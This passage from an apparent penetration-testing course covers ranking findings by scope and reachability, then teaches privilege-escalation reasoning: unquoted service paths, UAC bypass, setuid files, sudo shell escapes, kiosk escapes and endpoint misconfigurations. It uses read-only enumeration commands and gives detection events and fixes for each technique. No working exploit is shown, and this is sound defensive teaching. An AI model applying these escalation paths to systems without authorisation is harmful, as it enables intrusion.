| Mon 09:00 | Confirm start; give SOC the source address | Ticket number | No contact reached | SOC lead |
| Mon 09:30 | F4: browse Deploy read-only | Listing with timestamps | Personal data appears; host slows | Engagement lead |
| Mon 14:00 | F6: request test case and VLAN 10 position; send notes on F1 and F2 | Signed reply | None by Tue 12:00: mark unproven | Client contact |
| Tue 10:00 | F5: one default-password attempt | Screenshot of result | Device misbehaves | Facilities contact |
| Wed 09:00 | F2: safe detection script (Thursday afternoon stays free: payroll run) | Script output | Any service alert | SOC lead, HR owner |

Adius - CC0 - Wikimedia Commons

en:User:Pbroks13 - Public domain - Wikimedia Commons
Step 7: Check dependencies, scope limitations and labels
Dependencies are what must be true before a step can run, and what breaks if it goes wrong. Sequence: F6 needs F4. Position: link 3 needs a host in VLAN 10. Permission: a signed test case. People: the SOC lead must be reachable. Tools: a public exploit may need an old interpreter. And look outward: if HR-APP02 restarts, what else stops?
Scope limitations shape the plan as much as flaws do. Lesson 4's boundaries apply to every step: addresses, window, excluded test types, limits on data, and who owns the system. When a top target turns out to belong to someone else, you never test it gently. You stop and get written permission from whoever has authority.
Labeling sensitive systems makes those limits hard to miss when you are tired at 4 p.m. A label says what a system is and what you may do there, such as SENSITIVE (verification only), HIGH VALUE, EOL or FRAGILE. Put labels on the diagram and storyboard, and enforce them in tool configuration. Try this in your lab, where 192.168.56.1 is your own host computer:
echo 192.168.56.1 > do-not-touch.txt
sudo nmap -sn --excludefile do-not-touch.txt 192.168.56.0/24
Your host should vanish from the results.
The second run: one email reverses the order
Tuesday, 08:40. The client's IT manager writes that a hosting company runs FS01 under a separate contract. Your authorization covers systems owned and run by Tallis. The flaw has not changed: same 5.3, no CVE. The plan changes completely.
- Stop testing FS01 now. Tell the client through the escalation path that you listed and browsed that share on Monday. They need to know, and may have to tell the provider.
- F4 and F6 become blocked, pending written permission from the party with authority. Record them as limitations, not as "secure".
- The printer moves to first. The new order is F5, F2, F3, F1, with F4 and F6 returning only if permission arrives.
Other single facts move the plan too, so keep the reasoning and not just the list:
| If this one fact changes | The plan changes like this |
|---|---|
| The firewall export shows qa-sandbox-07 also has an interface in VLAN 30 | F1 jumps to the top: a KEV-listed flaw on a multihomed host beside payroll. It still needs a named test case |
| F3's EPSS doubles overnight | The note gets more urgent. Permission does not change, because a score never grants permission |
Exam cues: which label, which document, which pairs people confuse
| The stem says | It points to | Do not confuse with |
|---|---|---|
| "Probability of exploitation in the next 30 days" | EPSS | CVSS, which rates severity |
| "Confirmed exploitation in the wild" | KEV | EPSS, a forecast |
| "Identifier for one flaw" | CVE | CWE, a class of mistake |
| "Intrinsic, constant over time and environments" | CVSS base metrics | Threat or Temporal (change over time); Environmental (your site) |
| "The vendor no longer issues patches" | End-of-life; the fix is replacement | Unpatched, where a fix exists |
| "SSLv2 on one server, same key on another" | DROWN | POODLE, which targets SSLv3 with CBC |
| "Recorded traffic stays safe if the key is stolen" | Forward secrecy: ECDHE | TLS_RSA suites |
| "Read the exploit before running it" | Code analysis | Customization, which changes it |
| "Route from foothold to the asset" | Attack path | Storyboard, a timed sequence |
| "Hosts, addresses, ports, VLANs, rules" | Low-level diagram | High-level diagram, zones only |
| "Steps in order, with abort conditions" | Storyboard | ROE, which sets the limits |
| "Hosted by a third party" | Scope limitation: stop, get written permission | Testing gently |
| "Mark production hosts do not touch" | Labeling sensitive systems | Leaving them out of the report |
How the plan and its scores are reported
Lesson 5 said modern reports usually score findings with CVSS. Publish the score and vector together, as FIRST requires, with the version. Keep apart the base score, any environmental adjustment, and your overall rating with its reasons. EPSS and KEV appear as dated context, never as the severity. Here is F4 as a finding:
- Title: Anonymous read access to the Deploy share on FS01 exposes a service account's configuration.
- Severity: High overall. CVSS 3.1 base 5.3 Medium,
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N; with Confidentiality Requirement High the environmental score is 6.1, still Medium. Rated above its score because it is the first link toward payroll data and needs no account. Not Critical, because the credential was not used and the route was not proven under the ROE. - Evidence: anonymous listing from 10.20.99.50 on the stated date, with file names and the key name svc_report; value not recorded.
- Root cause: the share grants read to anonymous users, and deployment files keep credentials on it.
- Remediation: remove anonymous access, change svc_report's password, move secrets to a vault, and confirm that an anonymous listing now fails.
Lesson 8 rated its NFS export High by judgment, and scoring formalizes that: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N is 7.5, High, and proven write access would make it 9.1, which is why Lesson 8 recorded write as untested. The attack path becomes the report's attack narrative, and the storyboard's times let the client match your actions to its logs (Lesson 28).
Common misconceptions
- "The highest CVSS goes first." Base scores measure severity in principle. A 10.0 you cannot reach loses to a 5.3 on the route.
- "An EPSS of 0.10 is low." It is a 10 percent estimate that ranks near the 96th percentile.
- "No CVE means no problem." Default passwords and open shares usually have no CVE and are often the best targets.
- "An A from ssl-enum-ciphers means the encryption is fine." The grade ignores protocol version and hash.
What to carry forward
- CVE names one flaw (CVE, year, four or more digits); CWE names the class of mistake; a misconfiguration usually has a CWE and no CVE.
- CVSS bands: Low 0.1-3.9, Medium 4.0-6.9, High 7.0-8.9, Critical 9.0-10.0. Version 4.0 has Base, Threat, Environmental and Supplemental groups and labels CVSS-B, BT, BE and BTE; version 3.1 has Base, Temporal and Environmental.
- AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H is 9.8; the same flaw is CVSS-B 9.3 in version 4.0. Base scores measure severity, not risk.
- EPSS estimates the probability of observed exploitation in the next 30 days; the percentile is only a rank; version 5 began on 15 June 2026; FIRST sets no bands. KEV records confirmed exploitation and takes precedence.
- Rank by scope and reachability, route to a high-value asset, evidence of attack, what the ROE allows, and only then severity. Everything still goes in the report.
- End-of-life means no more fixes (Windows Server 2012's paid updates ended 13 October 2026). Default configurations top the NSA and CISA list of misconfigurations.
- TLS_RSA suites lack forward secrecy and ECDHE provides it; GCM authenticates as it encrypts; SSL 2.0 through TLS 1.1 must not be negotiated. DROWN needs SSLv2 on any server sharing the key.
- Choose the least intrusive tool that answers the question; check an exploit's reliability; read and edit its code before it runs.
- Attack path is the route, low-level diagram the hosts, ports and rules, storyboard the timed sequence with abort conditions. A dependency, scope limitation or label can reverse the plan.
Sources
- Forum of Incident Response and Security Teams. (2023-2026). CVSS version 4.0: Specification document (document version 1.2), User guide and FAQ; CVSS version 3.1: Specification document; v4.0 calculator source. first.org/cvss
- FIRST EPSS Special Interest Group. (2026). EPSS: How it works; Using EPSS; FAQ; Get the data (model v2026.06.15). Data read 3 November 2026. first.org/epss
- National Institute of Standards and Technology. (2026, April 15). NIST updates NVD operations to address record CVE growth; and NVD records for the CVEs named here, read 3 November 2026. nist.gov
- Cybersecurity and Infrastructure Security Agency. (2026). Binding Operational Directive 26-04 and its implementation guidance; Known Exploited Vulnerabilities catalog (version 2026.11.03). cisa.gov
- National Security Agency and Cybersecurity and Infrastructure Security Agency. (2023, October 5). Top ten cybersecurity misconfigurations (AA23-278A). cisa.gov
- MITRE Corporation. (n.d.). About CWE; CWE-732; CWE-1392; 2025 CWE Top 25. Top 25. CVE Program. (n.d.). Overview. cve.org
- Sheffer, Y., Saint-Andre, P., and Fossati, T. (2022). Recommendations for secure use of TLS and DTLS (RFC 9325). rfc-editor.org
- Aviram, N., et al. (2016). The DROWN attack (technical summary and Q&A). drownattack.com
- El Yadmani, S., The, R., and Gadyatskaya, O. (2023). Beyond the surface: Investigating malicious CVE proof of concept exploits on GitHub (arXiv:2210.08374v2). arxiv.org
- Lyon, G. (n.d.). Nmap reference guide and NSE documentation for ssl-enum-ciphers, sslv2, sslv2-drown, ssl-cert and smb-vuln-ms17-010. ssl-enum-ciphers
- Rapid7. (n.d.). Exploit ranking, in Metasploit documentation. docs.metasploit.com
- Microsoft. (2026). Overview of Extended Security Updates for Windows Server 2012 and 2012 R2. learn.microsoft.com
- Key terms
- Common Vulnerabilities and Exposures
- CVE: a catalog giving each publicly disclosed vulnerability one identifier, written CVE, year, and four or more digits. It names a flaw; it does not rate it.
- Common Weakness Enumeration
- CWE: a community-developed list of the kinds of software and hardware mistake that cause vulnerabilities, such as CWE-1392, Use of Default Credentials.
- Common Vulnerability Scoring System
- CVSS: FIRST's 0 to 10 severity score with a vector string showing its inputs. Its base score measures severity in principle, not risk at one organization.
- Exploit Prediction Scoring System
- EPSS: a daily model estimating the probability, from 0 to 1, that exploitation activity for a CVE will be observed in the next 30 days, published with a percentile rank.
- Known Exploited Vulnerabilities catalog
- KEV: CISA's list of CVEs with reliable evidence of exploitation and clear remediation guidance. It records what has happened, where EPSS forecasts.
- High-value asset
- A system or data set whose loss would hurt an organization most, such as a payroll database or domain controller, or a device that reaches them.
- Forward secrecy
- A property of key exchange, provided by ECDHE, under which stealing a server's long-term private key does not decrypt traffic recorded earlier.
- DROWN attack
- Decrypting RSA with Obsolete and Weakened eNcryption, CVE-2016-0800: probes to an SSLv2 server help decrypt recorded TLS sessions on any server sharing its private key.
- Low-level diagram
- A network drawing with actual hosts, addresses, ports, VLANs, firewall rules and sensitivity labels, unlike a high-level diagram of zones.
- Attack storyboard
- A time-ordered test plan listing each step, the evidence expected, the abort condition and who to tell. CompTIA lists the word without defining it.
Module 6: Attacks II: Hosts and Web Applications (Domain 4, objectives 4.4-4.5)
Learn how attacks on hosts and web applications work: privilege escalation, escapes, credential dumping, process injection and log tampering on endpoints; and injection, broken access control, session, file, request and API flaws in web applications, each with what defenders see and the fix that removes the weakness.
Climbing the Ladder: Privilege Escalation, Misconfigured Endpoints, and Escapes
- Decide from read-only evidence whether an unquoted service path, a UAC setting, a setuid file or a sudo rule is a real path to higher privilege.
- Explain why shell escapes and kiosk escapes work, and what detects and prevents them.
- Recognize misconfigured endpoint settings, and choose among Seatbelt, PowerShell or the ISE, and LOLbins to collect the evidence.
- Report a privilege escalation finding with its severity, evidence, root cause and remediation.
The draft finding that called an unquoted path Critical
At 16:40 on a Thursday, a junior tester at a fictional firm pastes this evidence from a client's workstation into a draft report and rates it Critical, with the note "any user can get SYSTEM".
C:\> sc qc AcmeBackupAgent
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AcmeBackupAgent
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Acme Backup\Agent Service\agent.exe -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Acme Backup Agent
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
The path has spaces and no quotation marks, and a vulnerability scanner flagged it too. The rating is still wrong, and working out why teaches most of the exam's host-based attacks. Privilege escalation means gaining rights beyond the ones you were given: vertically, from a standard user to an administrator, SYSTEM or root, or horizontally, from one user to another at the same level. It rarely comes from one bad setting. It comes from a chain, so a tester who spots one link and reports the whole chain has made an error. Put every candidate through three questions.
- What runs with more privilege than I have?
- What does it trust that I can change?
- What makes it run again, and can I cause that?
If any answer is "nothing", you have a weakness to note, not a path upward. This lesson takes six plausible wrong answers and traces where each one breaks. Container escape waits for Lesson 19.
Exam objectives: 4.4 (privilege escalation, misconfigured endpoints, user-controlled access bypass, shell escape, kiosk escape, unquoted service path injection; Seatbelt, PowerShell and the PowerShell Integrated Scripting Environment (ISE), living off the land binaries (LOLbins)). Lesson 16 covers the rest of 4.4.
Before you run anything: what read-only means here
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. The only commands this lesson asks you to try are read-only checks on your own Metasploitable VM from Lesson 2. All other evidence below is fictional.
On a client engagement, proof of escalation changes a live system: a hijacked service may fail to start, and a flawed kernel may crash. The rules of engagement (ROE) decide whether you may demonstrate or must stop at evidence, and most findings here can be written with no write at all.
Wrong answer 1: "An unquoted service path gives you SYSTEM"
Start with the flaw itself. A service's path is stored as one string. When that string has spaces and no quotation marks, Windows cannot tell where the file name ends, so it tries each possibility in turn. Microsoft's CreateProcess documentation lists this behavior and warns that a different program could run as a result. For the draft's service, the order is:
| Windows tries | Someone would have to write to |
|---|---|
C:\Program.exe | C:\ |
C:\Program Files\Acme.exe | C:\Program Files |
C:\Program Files\Acme Backup\Agent.exe | C:\Program Files\Acme Backup |
C:\Program Files\Acme Backup\Agent Service\agent.exe | Nothing: this is the real program |
The last line of the evidence answers question 1: SERVICE_START_NAME : LocalSystem, the most powerful local account. Question 2 is where the draft fails. The path matters only if this user can write to one of those folders, so read the permissions. (Sample output, trimmed.)
C:\> icacls C:\
C:\ BUILTIN\Administrators:(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Users:(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
NT AUTHORITY\Authenticated Users:(AD)
C:\> icacls "C:\Program Files"
C:\Program Files NT SERVICE\TrustedInstaller:(F)
NT AUTHORITY\SYSTEM:(M)
BUILTIN\Administrators:(M)
BUILTIN\Users:(RX)
C:\> icacls C:\Apps
C:\Apps BUILTIN\Administrators:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
In icacls output, F is full control, M is modify, RX is read and execute, and AD is "append data/add subdirectory". I marks an inherited entry, OI and CI pass an entry down to files and subfolders, and IO means it applies only to what is created inside, not to the folder itself. So an ordinary user can create folders in C:\ but not files, and can only read and run things in C:\Program Files. No candidate is writable, which makes the draft's service a hardening note.
The third listing shows how that flips. A folder made directly under C:\ inherits the root's Modify entry, so by default any signed-in user can add files to C:\Apps. Applications installed outside Program Files are where to look first.
Worked example: four services, one standard user, one real path
This is the shape a performance-based question takes. You hold a standard account on a fictional client's workstation, the ROE allow read-only checks, and you must say which services give you a path upward. List the candidates first. This query only reads, and a tester would run it on an in-scope Windows host.
Get-CimInstance Win32_Service |
Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } |
Select-Object Name, StartName, StartMode, PathName
| Name (sample) | StartName | StartMode | PathName |
|---|---|---|---|
| AcmeBackupAgent | LocalSystem | Auto | C:\Program Files\Acme Backup\Agent Service\agent.exe -service |
| FleetSync | LocalSystem | Auto | C:\Apps\Fleet Sync\sync.exe |
| LabelPrint | NT AUTHORITY\LocalService | Auto | C:\Apps\Label Print\label.exe |
| DeviceBroker | LocalSystem | Manual | C:\Windows\system32\svchost.exe -k broker -p |
With the three icacls listings in front of you, the reasoning runs like this.
| Service | Q1: runs as | Q2: writable candidate? | Q3: what restarts it? | Verdict |
|---|---|---|---|---|
| AcmeBackupAgent | LocalSystem | None | Boot | No path for this user. Low: quote the path |
| FleetSync | LocalSystem | Yes: C:\Apps\Fleet.exe | Boot, and this user can reboot | The real path. High |
| LabelPrint | LocalService | Yes: C:\Apps\Label.exe | Boot | Real but smaller: a low-privilege service account, not SYSTEM. Medium |
| DeviceBroker | LocalSystem | None: the space comes after the complete file name | Not relevant | False lead. No finding |
Now change one input. Move FleetSync to a member server. Microsoft's defaults give the "Shut down the system" right to Users on client computers but only to Administrators and Backup Operators on member servers, so a standard user there must wait for someone else's reboot. The path is still real, and the report says it depends on the next restart. If you need proof of who may start or stop a service, sc sdshow prints it in a compact format called SDDL.
The technique is ATT&CK T1574.009, and the weakness is CWE-428. Defenders can watch for an executable appearing in a parent folder of an unquoted path. They can then watch for a process starting from that location (Security event 4688 or Sysmon event 1, with Sysmon event 11 for the new file).
The fix is to quote the path in the service's configuration, stored under HKLM\SYSTEM\CurrentControlSet\Services, install under Program Files or tighten the folder's permissions, and confirm with the same two commands.
Scanner wording can mislead: Tenable's Nessus plugin 63155 says a local attacker can gain elevated privileges from such a path and does not mention folder rights. Lesson 12's validation step applies.
So what? An unquoted path is a parsing flaw. It becomes privilege escalation only with a writable candidate folder, a more privileged service account and a restart. Report what the evidence proves.
Wrong answer 2: "The UAC bypass made me an administrator"
The objectives list "user-controlled access bypass" without defining it, and UAC is not in the PDF's acronym list. This course reads the bullet as bypassing User Account Control (UAC), the Windows feature it fits most closely.
When a member of the local Administrators group signs in, Windows builds two access tokens. A standard one runs the desktop and everything started from it. A full one stays unused until the user approves an elevation prompt. A standard user has no second token, so the prompt asks for someone else's credentials. Windows also marks each process with an integrity level, and lower levels cannot modify higher ones. You can read all of this without changing anything.
C:\> whoami /groups (user dkim, sample output, trimmed)
Group Name Type SID Attributes
====================================== ===== ============ ========================
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
"Group used for deny only" means dkim belongs to Administrators but this process cannot use that membership, and the medium label confirms the standard token. Now change one input. A second user, rmoss, shows no Administrators line, with the same medium label. A UAC bypass can only help dkim, because it unlocks a token dkim already owns. For rmoss, question 1 has no answer.
Bypasses exist because, at the default setting, certain Microsoft programs elevate with no prompt. If one of them reads a setting or path from somewhere the user controls, such as the user's own part of the registry, the user can steer what it does: question 2 again. The programs change between Windows releases, and the exam does not ask you to name them. Microsoft's servicing criteria list UAC as a defense-in-depth feature with no intent to service bypasses, so the root cause to report is a daily account in the Administrators group, not a missing patch.
ATT&CK T1548.002 describes what defenders look for: changes to UAC-related registry keys (Sysmon event 13), then elevated processes without the normal parent and child lineage. Security event 4688 records each process's Token Elevation Type (%%1937 elevated, %%1938 limited) and Mandatory Label. The fixes are standard accounts for daily work, Windows LAPS (Local Administrator Password Solution) for local administrators, and a prompt set to appear every time. Administrator protection on Windows 11 goes further, with no auto-elevations and a separate temporary admin token per approved task. It ships off by default, but Microsoft's security baselines turn it on from the October 2026 security update.
Wrong answer 3: "Every setuid file is a finding"
On Linux, Setuid and setgid are permission bits. A setuid program runs with the rights of the file's owner rather than the caller's, and setgid does the same for the file's group, named by its Group Identifier (GID). ls -l shows an s where the execute x would be. The bits exist for a reason: passwd has to update a file only root may write. Linux ignores both bits on scripts, so only compiled programs count, in practice files in the Executable and Linkable Format (ELF). Question 1 therefore lives in the owner column.
Try this in your lab, at the Metasploitable console, logged in as msfadmin:
idprints your user ID, GID and groups.sudo -lprints what sudo lets you run. Expect broad rights, because msfadmin is that VM's administrator account, which is why Lesson 7 could add a firewall rule.find / -xdev -type f -perm -4000 -ls 2>/dev/nulllists setuid files. Sort the list by owner and stop there. You are not asked to run any of them.
Here is the same kind of list from a fictional server:
$ id
uid=1004(rmoss) gid=1004(rmoss) groups=1004(rmoss),33(www-data)
$ find / -xdev -type f -perm -4000 -ls 2>/dev/null
786 60 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
791 232 -rwsr-xr-x 1 root root 232416 Apr 3 2024 /usr/bin/sudo
802 44 -rwsr-xr-x 1 root root 44760 Feb 6 2024 /usr/bin/chsh
9134 20 -rwsr-xr-x 1 root root 16424 Sep 14 02:10 /opt/reports/rpt_gen
9140 20 -rwsr-xr-x 1 appsvc appsvc 16424 Sep 14 02:11 /opt/reports/rpt_view
The wrong answer is five findings. Work down the list instead. passwd, sudo and chsh ship with the operating system and need the bit. rpt_gen is root-owned and custom: dpkg -S finds no package that owns it, so review what it trusts, such as whether it calls other programs by bare name. rpt_view looks identical, but its owner is appsvc, so even if flawed it gives only appsvc's rights: horizontal, not vertical.
"Expected" does not mean safe, though. In January 2022, Qualys disclosed PwnKit (CVE-2021-4034), a memory corruption flaw in pkexec, a setuid-root program installed by default on every major Linux distribution, in polkit versions from 2009 onward. So compare versions with vendor advisories too. Treat kernel flaws (ATT&CK T1068) the same way: compare uname -r or the hotfix list with advisories and report the missing patch. Running a kernel exploit can crash the host, so it needs explicit approval in the ROE.
Two relatives need no setuid file. Docker's documentation warns that the docker group grants root-level privileges, so 999(docker) in id output deserves a note. File capabilities, listed by getcap -r /, hand a program part of root's power.
ATT&CK T1548.001 describes detection: chmod setting these bits, then processes whose effective user differs from the real one, especially from user-writable paths. File integrity monitoring catches new setuid files. The fixes are chmod u-s where the bit is not needed, the nosuid mount option on user-writable file systems, and patching.
Wrong answer 4: "The sudo rule allows only one program, so it is safe"
Sudo runs a permitted command as another user, usually root. Read this rule set as its author meant it: rmoss may read some logs and restart one service.
$ sudo -l
Matching Defaults entries for rmoss on app01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User rmoss may run the following commands on app01:
(root) NOPASSWD: /usr/bin/less /var/log/app/*
(root) NOPASSWD: /usr/bin/systemctl restart app
But sudo's control ends once the program starts. Its manual says that program "is free to do whatever it pleases", including run other programs. It names shells, editors, pagers, mail and terminal programs as common sources of a Shell escape, which is a program feature that starts another command. Whatever a pager running as root starts also runs as root, outside the rule.
So question 2's answer is the allowed program's own features, and no bug is needed.
GTFOBins, a public catalog of such behavior in Unix programs, says the programs it lists are "not vulnerable per se". You need not run anything: the rule plus the catalog entry is your evidence. LOLBAS is the Windows counterpart.
Now change one input. (root) NOPASSWD: NOEXEC: /usr/bin/less /var/log/app/* asks sudo, where supported, to stop a dynamically linked program from running further commands. sudoedit /etc/app/app.conf edits a temporary copy as the user. A read-only log group needs no sudo at all. Each does the job without the escape, and those are your recommendations.
A Restricted shell fails for the same reason, and you will recognize one quickly:
rmoss@app01:~$ cd /tmp
-rbash: cd: restricted
rmoss@app01:~$ echo $PATH
/home/rmoss/bin
rmoss@app01:~$ ls /home/rmoss/bin
less ping vi
The Bash manual says rbash blocks cd, changing PATH, command names containing slashes and output redirection, warns that commands allowing shell escapes are "particularly vulnerable", and points to jails, zones and containers as stronger choices. The limits belong to that shell, not the account, so the evidence is the program list, and the fix is a list with no such programs, or real isolation.
Defenders get less than you might expect. Sudo logs the command it started:
Nov 3 14:02:11 app01 sudo: rmoss : TTY=pts/0 ; PWD=/home/rmoss ; USER=root ; COMMAND=/usr/bin/less /var/log/app/app.log
Whatever the pager then starts gets no line of its own unless the log_subcmds option, off by default, is set, or kernel auditing records a shell whose parent is less. ATT&CK files sudoers abuse under T1548.003.
So what? Limiting which program runs does not limit what that program can do. Judge a sudo rule or a restricted shell by the features of every allowed program.
Wrong answer 5: "A kiosk runs one app, so it can only do one thing"
An Interactive kiosk is a whole computer showing one application. Microsoft's Assigned Access makes that explicit. Its kiosk experience runs a single app full screen above the lock screen and restarts it if it closes. Its restricted user experience allows a short list of apps through policy settings and AppLocker rules.
The operating system is still underneath, so any feature that reaches past the app is a way out, which is a kiosk escape.
Microsoft's documentation says Alt+F4, Alt+Tab, Alt+Shift+Tab and Ctrl+Alt+Delete are not blocked under a restricted user experience, and that Assigned Access does not change accessibility settings, so those shortcuts need Keyboard Filter.
Here is a test from a fictional lobby check-in station, with every action listed as a test case in the ROE.
| Surface tried | Observed | What it means | Fix |
|---|---|---|---|
| Print button | "Save as PDF" opens a window with a folder tree | The file system is browsable from inside the app | Fixed printer; remove file dialogs |
| Shift pressed five times | Sticky Keys prompt with a link to settings | An accessibility shortcut reaches Settings | Keyboard Filter; turn off the shortcut |
| USB keyboard in a spare port | Accepted, and shortcut keys work | "Touch only" was an assumption | Cover ports; block new devices |
| Restart | Power-on self-test (POST) screen offers firmware setup, with no password | Firmware and boot order are reachable | Firmware password, Secure Boot, BitLocker |
Two acronyms from the exam's list belong here. POST means power-on self-test, not the web request method. HID expands there as host-based intrusion detection, while Microsoft's device documentation uses HID for human interface device, the class that includes USB keyboards.
Now debug the severity. An escape moves you from one app to a general-purpose desktop under the same account, which is not yet vertical. Question 1 decides the rest. Run one: a local, non-admin kiosk account on an isolated network gives a Medium finding. Run two: the same escape, with automatic sign-in as a domain account in the local Administrators group on the clinical network, is High or Critical. The dialogs did not change. The account did.
Defenders should treat any process under the kiosk account other than the kiosk app as an alert: explorer.exe, cmd.exe or powershell.exe in event 4688. AppLocker logs blocks as event 8004 (EXE or DLL) and 8007 (script or MSI). ATT&CK version 20 has no technique named for kiosks; Hardware Additions (T1200) is the nearest fit for the keyboard. Microsoft does not service AppLocker bypasses by default but does service Windows Defender Application Control, now App Control for Business, so for a public kiosk recommend it, with a non-admin account and network isolation.
Wrong answer 6: "The scan was clean, so the endpoint is fine"
"Misconfigured endpoints" is another bullet the PDF names but does not define. Read a misconfigured endpoint as a workstation, laptop or server whose local settings grant more than anyone intended. Scanners mostly compare versions and known checks, and see far less without credentials, as Lesson 10 explains, so a clean scan says little about whether a particular folder is writable by a particular user. Read these settings yourself. Each one answers question 2.
| Misconfiguration | Read-only evidence | Why it is a path | Fix |
|---|---|---|---|
| Service program or folder writable by users (T1574.010) | icacls on the program | The service runs whatever is at that path | Remove write rights |
| Service registry key writable (T1574.011) | Get-Acl on its key | Whoever edits the key chooses what runs | Remove write rights |
| AlwaysInstallElevated set to 1 | reg query on the Installer policy key in HKLM and HKCU | Installers run elevated; Microsoft calls it equivalent to full admin rights | Remove the policy |
| Scheduled task or cron script writable (T1053.005, T1053.003) | schtasks /query /v; ls -l /etc/cron.d | The scheduler runs the file as its owner | Admin ownership, no write for others |
| Writable folder early in PATH (T1574.007) | PATH, then icacls or ls -ld | A bare name resolves to the first match | Remove it; use full paths |
| Same local admin password everywhere (T1078.003) | LAPS status in a host survey | One password opens many hosts | Windows LAPS |
| Service identity holding SeImpersonatePrivilege (T1134.001) | whoami /priv | It can act as clients that connect to it | Limit who connects; fix the foothold |
The last row corrects a common belief: "it is not in Administrators, so it is low risk." A web application under Internet Information Services (IIS) runs as an application pool identity. A Common Gateway Interface (CGI) program runs as the web server's unprivileged user. So a web foothold usually lands as a service account, which can hold powerful rights outside any group.
C:\> whoami /priv (sample output, trimmed)
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Microsoft says services started by the Service Control Manager receive this right through the built-in Service group, and warns that an unauthorized holder could raise its access by getting a client to connect. Event 4672 lists it at logon. Treat a foothold with this right as one privileged client connection away from more.
Three ways to collect the evidence: GhostPack's survey tool, PowerShell and LOLbins
Seatbelt is a C# host survey from GhostPack, whose "safety checks" serve attackers and defenders alike. PowerShell is Microsoft's shell and scripting language, and the ISE is its graphical host for writing and debugging scripts. LOLbins are signed programs already on the system that can do more than their stated job. The ROE usually decide which you may use.
| Seatbelt | PowerShell and ISE | LOLbins | |
|---|---|---|---|
| What it needs | A build of your own (GhostPack publishes source, not binaries) and an ROE that allows a new tool | Nothing to install | Nothing to install |
| What it leaves | A new executable in process logs, and a target for antivirus signatures | Event 4104 when script block logging is on | Event 4688 with an odd parent or command line |
| Choose it when | You want a wide survey quickly | You cannot add files, or need one precise answer | Application control blocks the rest, or the ROE ask you to test detection |
Seatbelt's sections cover UAC policy, LAPS, AppLocker, antivirus, audit settings, hotfixes, services and token privileges, as text or JSON. Some checks read user data such as browser details, so scope what you run. A fictional excerpt, in the tool's format:
====== UAC ======
ConsentPromptBehaviorAdmin : 5 - PromptForNonWindowsBinaries
EnableLUA (Is UAC enabled?) : 1
PowerShell comes with two wrong beliefs attached. The first is that the execution policy protects the host: Microsoft says it "isn't a security boundary", so never report it as a control. What does constrain PowerShell is application control, under which it runs automatically in ConstrainedLanguage mode.
The second is that its activity is invisible: with script block logging on, it records every script block it processes as event 4104.
The ISE is still on the exam, so know its status. Microsoft has stopped feature development and services it for security fixes. It gives the ISE no support in PowerShell 6 and later, and points people to Visual Studio Code. Left reachable on a locked-down host, it is a full script editor and runner.
Living off the land binaries, the exam's LOLbins, meet the LOLBAS project's criteria: Microsoft-signed, native or from Microsoft, with useful "unexpected" functionality. In February 2024, CISA, the NSA and the FBI called living off the land a hallmark of the Volt Typhoon actors. These actors kept access in some networks for at least five years, partly by avoiding malware that would raise alerts. A signature cannot help when the file is genuine, so defenders read context, as in this fictional event:
EventID 4688: A new process has been created.
New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
Token Elevation Type: %%1938
Mandatory Label: Mandatory Label\Medium Mandatory Level
Creator Process Name: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
The file is Microsoft's, but a word processor has no reason to start a build tool. That lineage is the signal (ATT&CK T1127.001 and T1218). Command-line detail helps too, though that field stays empty until a policy turns it on. Microsoft publishes a list of signed programs to block under App Control, including msbuild.exe, mshta.exe and wmic.exe. Lesson 24 goes through the exam's named LOLBins.
The whole family at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Unquoted service path injection (T1574.009) | Unquoted path with a space, plus a writable candidate folder | sc qc, icacls, Seatbelt | New executable in a parent folder; event 4688 from an odd path | Quote the path; fix folder rights |
| Misconfigured endpoints (T1574.010, T1574.011, T1053, T1574.007) | Users can change what a privileged process runs or reads | icacls, Get-Acl, reg query, Seatbelt | File or registry change, then a privileged start | Remove write rights; Windows LAPS |
| UAC bypass (T1548.002) | Local admin on a standard token; auto-elevating program trusts user-controlled data | whoami /groups, Seatbelt | Registry writes; elevated process with odd lineage | Standard accounts; always prompt; Administrator protection |
| Setuid and setgid abuse (T1548.001) | Unneeded bit on a flawed or feature-rich program | find, ls -l, dpkg -S | Effective user differs from real user; integrity alerts | chmod u-s; nosuid; patch |
| Sudo rule abuse (T1548.003), shell escape, restricted shell escape | Allowed program can start other commands; limits live in the shell or rule, not the account | sudo -l, echo $PATH, GTFOBins | Sudo log line; audit record of a shell under the program | sudoedit; NOEXEC; no escape-capable programs; real isolation |
| Kiosk escape | A full operating system under one app | Hands, plus a keyboard if the ROE allow | Event 4688 under the kiosk account; AppLocker 8004, 8007 | Assigned Access, Keyboard Filter, App Control, firmware password |
| Kernel or software flaw (T1068) | Missing patch | uname -r, hotfix list | Crashes; exploit behavior in endpoint tools | Patch |
